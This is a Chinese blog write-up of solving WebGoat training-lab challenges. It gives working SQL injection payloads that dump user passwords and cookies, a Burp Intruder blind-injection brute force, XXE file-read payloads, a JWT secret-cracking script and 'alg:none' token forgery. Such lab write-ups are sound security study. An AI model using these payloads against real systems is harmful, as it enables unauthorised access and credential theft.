搭建WebGoat靶场,以前没玩过这个,涉及的知识挺多的,没事打一打。
靶场环境,只介绍在windows系统中搭建过程。
先下载这两个文件
https://github.com/WebGoat/WebGoat/releases/download/v8.1.0/webgoat-server-8.1.0.jar
https://github.com/WebGoat/WebGoat/releases/download/v8.1.0/webwolf-8.1.0.jar
由于是github的项目,下载时,可能因为网络问题而失败,所以建议用迅雷下载。
然后在放到一个专门文件夹内(本人轻微强迫症哈哈,可以随意放)
执行下面两条命令就可以了
java -jar webgoat-server-8.0.0.M17.jar
java -jar webwolf-8.0.0.M17.jar
访问http://127.0.0.1:8080就可以了。
注册账号随便弄一个就可以了。
补充一个坑,可能会遇到的一个问题
就是搭建好靶场后没什么问题,第二次进入的问题。(免得像我一样的小白不知道而再去重新搭建,浪费时间)
先描述一下问题:就是访问http://127.0.0.1:8080
时浏览器返回找不到网页了,没有进入到靶场环境。附图如下:
这个不是靶场出问题了,而是不是第一次进入靶场,原来已经进入过并注册了用户名和密码了,就要进入登录界面直接登录了。所以环境没问题。
解决办法也很简单:访问这个——http://127.0.0.1:8080/WebGoat/login,webwolf也是同理。就不多嘴了哈。
Introduction的部分就是检查靶场功能。看不懂英文的话,建议用翻译插件翻译一下。
第二关
就是输入用户名就可以了,放一张图。
第三关
提示是需要使用Owasp zap进行抓包查看,这里使用burp进行
将1改为6放包,然后答题正确。
第六关
前面的都是一款工具的教程,叫做Owasp zap、可以做代理,同时还是一个漏洞扫描工具,我抓包一般不用它,所以前面的看看就行直接绕过。还是使用burp来抓包。漏扫的话可以了解一下,免费的软件。
过关有点坑,直接抓取数据包,按照修改题目要求。
坑:直接修改changeme,怎么都是不对的,因为修改为get请求了,所以提交参数的方式就应该是get方式,要在URL里面进行提交。坑的话就这一点。按照下图的方式修改就可以了。
反思:第一次没有想到get请求改变后的变化,想的不够充分。现在想想,题目怎么可能就是让改一下参数呢?那如果这样,它设置这个要求的目的在哪,所以想的时候还是想想为什么会有这个要求。
第三关
SQL注入,查看到前两小节的知识,了解到是使用联合查询进行注入。
这个很重要,后面会用到,注意userid的类型
先尝试单引号闭合。
' or 1=1 --
尝试单引号闭合成功,且查询到了,WebGoat表中的内容,
union查询的特性就是上下两个SQL 语句所产生的栏位需要是同样的资料种类,所以观察刚刚查询出来的列数,了解到有七列,所以接下来要写在union后的SQL语句也必须要列出7列才行,因为已经知道user_system_data这个数据表中的前4列了,所以剩下的3列随便填点什么就行,需要注意的是,数据类型也必须一致。
' union select 1,user_name,password,'hello','bye',cookie,1 from user_system_data --
这里注意userid是字符串类型而不是int类型,前面提示过了,看上面的图。
还有一种方法:
直接查询全部内容
'; select * from user_system_data --
第七关
字符类型的SQL注入,通过Smith可以查看一位用户的数据
测试,发现确实是存在注入的。
Smith' or 1=1 --
而日是POST方式的SQL注入,简单单的类型,直接sqlmap跑一下。
步骤:抓包,复制数据包内容,写入一个文件中。然后使用sqlmap直接获取数据库等信息。
第八关
数字类型的SQL注入,通过101可以查看一位用户的数据
101 or 1=1 --
这一关需要使用order by 找出IP address webgoat-prd server
排序是按照下面的这几个来排的。
开启代理,点击进行抓包。
可以看到是返回正常的页面了,因为它column是按照hostname来排序的,但是如果将它改一下
GET /WebGoat/SqlInjection/servers?column=m0re HTTP/1.1
然后go,就会发现它是返回错误的
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a
fallback.</p>
<div id='created'>Sat Aug 15 21:38:51 CST 2020</div>
<div>There was an unexpected error (type=Internal Server Error, status=500).</div>
<div>user lacks privilege or object not found: M0RE in statement [select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by m0re]
</div></body></html>
可以看到order by
的参数是m0re,是刚才传入的。然后看返回的报错中id, hostname, ip, mac, status, description
这几个都是可以进行排列的参数,表是servers
但是有一个没见过就是status
,所以servers
中的status列中的数据才是webgoat-prd 的服务器的IP地址。
GET /WebGoat/SqlInjection/servers?column=case%20when%20(substring((select%20ip%20from%20servers%20where%20hostname=%27webgoat-prd%27),1,1)=%271%27)%20then%20id%20else%20description%20end HTTP/1.1
这个是需要进行
抓取到发送到intruder模块进行爆破。
构造payload,选择爆破方式为Cluster bomb
case%20when%20(substring((select%20ip%20from%20servers%20where%20hostname=%27webgoat-prd%27),§1§,1)=%27§2§%27)%20then%20id%20else%20description%20end
再设置payload,第一个payload设置最大为15因为IP地址一般是xxx.xxx.xxx.xxx
算上“点”正好15位。第二个payload设置为9,数字(0—9)不过我设置的时候忘了加0了,所以没有的情况就是0了,这个无碍。。
然后开始爆破,完成后手动进行设置comment做一个标记,按照id来排序的,设置个标记(这里使用yes,什么标记都行)
筛选一下,只查看有标记的记录。勾选。就可以看到了
这就是所有的了,然后IP地址读取很明显了,直接看着写出来就行
怎么看IP,举个栗子
方法:比如第一个,看两个payload,第一个是1,第二个是1,则IP地址的第一个是1
第二个,没有找到第一个payload是2的,所以就是0了。
第三个是4
第四个,上面没有,也就是"点"的位置。
这样就可以得出IP地址的前三位了104.
后面的不再啰嗦。
总:104.130.219.202
XXE漏洞的基础知识,可以参考我之前的学习博客——XXE漏洞基础及简单利用
第三关
随便提交了一个评论,没发现什么异常的,然后就是在评论区显示出来。
尝试抓包查看,发现了XML
]>
<comment> <text>&m0re;text>comment>
因为我是在windows系统中搭建的环境,所以读取C盘内容
如果是linux系统的话,就使用file:///
第四关
这次抓到的包是这样的
有一点是,这个Content-Type
是json,上一题是XML,所以把这里进行一下修改,就可以,然后XML实体就使用上一题的就可以
发包,成功
第七关Blind XXE assignment
在webwolf上传外部XML文件m0re.dtd
">
%zxcv;
%payload;
]>
<comment> <text>&m0re;text>comment>
解释:因为我的是windows系统来搭建的,中间除了一点小差错,是jdk版本的原因,导致靶场无法访问,所以我又换了一个版本相对较低的靶场。这个webwolf的默认端口是8081,所以payload里面是8081。
http://127.0.0.1:8081/files/webgoat/m0re.dtd
这个路径是http://127.0.0.1:8081/files/{username}/{filename}
,其他的也没什么了。
blind XXE就是没有回显的,所以去webwolf中查就是了。
显示的内容需要进行URL解码后提交评论。
身份验证缺陷——看完前面lesson去做第一关不难,只需要进行尝试删除或者修改参数就可以了。这里是进行了修改,删除没有成功。
关于JWT tokens,之前好像是isCC有这么一道题,涉及的这个知识。之前题目是被不知名大佬搞坏了,所以没能复现成功,这次正好学习一下。
尝试更改收到的token并通过更改token成为管理员用户。
token的组成,三部分:Header、Claims、Signature
而且token是经过base64编码过的。
用户获取token需要经过下面这一系列步骤:
用户输入用户名和密码,提交登录信息给服务器,然后创建一个JWT返回给浏览器,浏览器将token发送到授权的Header头中,服务器检验token的值,从token中验明用户身份信息,验证身份后就会返回给用户相应的信息。
第四关
这一关,可能是环境的问题,抓包获取可能存在问题,抓取的数据包没有发现token,建议搭建环境还是去linux系统或者使用docker进行搭建吧。
这里说一下方法和知识点。
抓取到数据包后分别对token的三个部分进行base64解码,Header部分后面的是加密算法,可将其改为none
也就是图中部分
在第二部分查看到与admin相关的部分,然后就是将它的参数修改一下。这种类型的题目是JWT中的基础部分,只需要修改token的值就可以了。
然后复制回burp中,进行发包。思路大概就是这个样子。
第五关
JWT cracking——爆破,需要使用python脚本进行爆破,前提需自备字典。字典够强,就可以跑出来——我用的字典,点击下载
可以用我现在用的这个试试。测试呢嘛,就直接在源码里找到密码插进去就行。
python脚本——来自freebuf大佬阿信
import termcolor
import jwt
if __name__ == "__main__":
jwt_str = R'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.m-jSyfYEsVzD3CBI6N39wZ7AcdKdp_GiO7F_Ym12u-0'
with open('C:\\Users\\18101\\Desktop\\m0re.txt') as f:
for line in f:
key_ = line.strip()
try:
jwt.decode(jwt_str, verify=True, key=key_)
print('\r', '\bfound it -->', termcolor.colored(key_, 'green'), '<--')
break
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('\r', '\bfound it -->', termcolor.colored(key_, 'green'), '<--')
break
except jwt.exceptions.InvalidSignatureError:
print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
continue
else:
print('\r', '\bsorry! nothing be found.')
可能存在的错误:就是需要导入两个模块,分别是termcolor
和jwt
这里有个坑就是,模块安装完后,还是会报错
module 'jwt' has no attribute 'decode'
查阅资料了解到python的模块中有jwt
和pyjwt
两个模块都是引用的jwt
,其实不一样,这里使用的是pyjwt
所以再安装pyjwt
这个模块就好了。
运行结果:
记得将username处的tom改为WebGoat,下面的victory也填入。
复制到提交处,就可以了。(PS:但是我的环境可能是很有问题的,重新搭建好几遍了,还是答案不对)
可以参考一下这位师傅的博客,过程没问题,就是答案提交了不正确。也不纠结了。pass!参考链接——https://www.jianshu.com/p/d2f9815758f4
第七关Refreshing a token
点击这里查看日志。
在日志文件中发现历史记录的token,也就是过期的,和提交页面的URL,如下:
解码这个token,然后发现缺少了typ,既然是已经过期了的,那么时间肯定是不合适的。查阅资料了解到token的时间设定
其中iat是token生成的时间,exp是token失效的时间,也就是直接改exp就行了。这个时间是根据1970计算机的时间纪元来计算的,也就是得知道当前的时间是多少,
回到主页面,其中除了checkout,其他的点击了都是没有其他效果的。
所以就只能选择在这个地方入手了。
思路:抓包,修改token。
返回不是用户tom,所以还是用到那个过期的token,但是日期是不正确的,
所以需要获取当前时间,然后进行编码。
时间获取:
import time
print(time.time())
将这个时间加长一点。就可以变为有效期的token了。因为原本的token默认使用HS512
来hash,还需要secret值,爆破方式上一关的脚本可以。然后再进行base64编码。
懒得爆破了,所以就学习知乎大师傅的方法,直接将不hash,直接将alg改为None。然后进行base64编码。后面的签名也可以不加,直接下面两种组合,构成payload。
{
"alg":"None"}==>eyJhbGciOiJOb25lIn0=
{
"iat":1526131411,"exp":1597757030,"admin":"false","user":"Tom"}==>eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTU5Nzc1NzAzMCwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ==
提交的payload
eyJhbGciOiJOb25lIn0=.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTU5Nzc1NzAzMCwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ==.
不要忘记了最后的“点”,那是分割符。
复制token,粘贴到
第八关Final challenges
参考上一关,方法一样。能做出来。
首先抓包,在这个位置找到token,然后去修改就可以了。
发包,成功。
这个靶场确实很好,综合漏洞靶场,学到了许多知识,先记录一部分,后面再另写一篇。继续加油。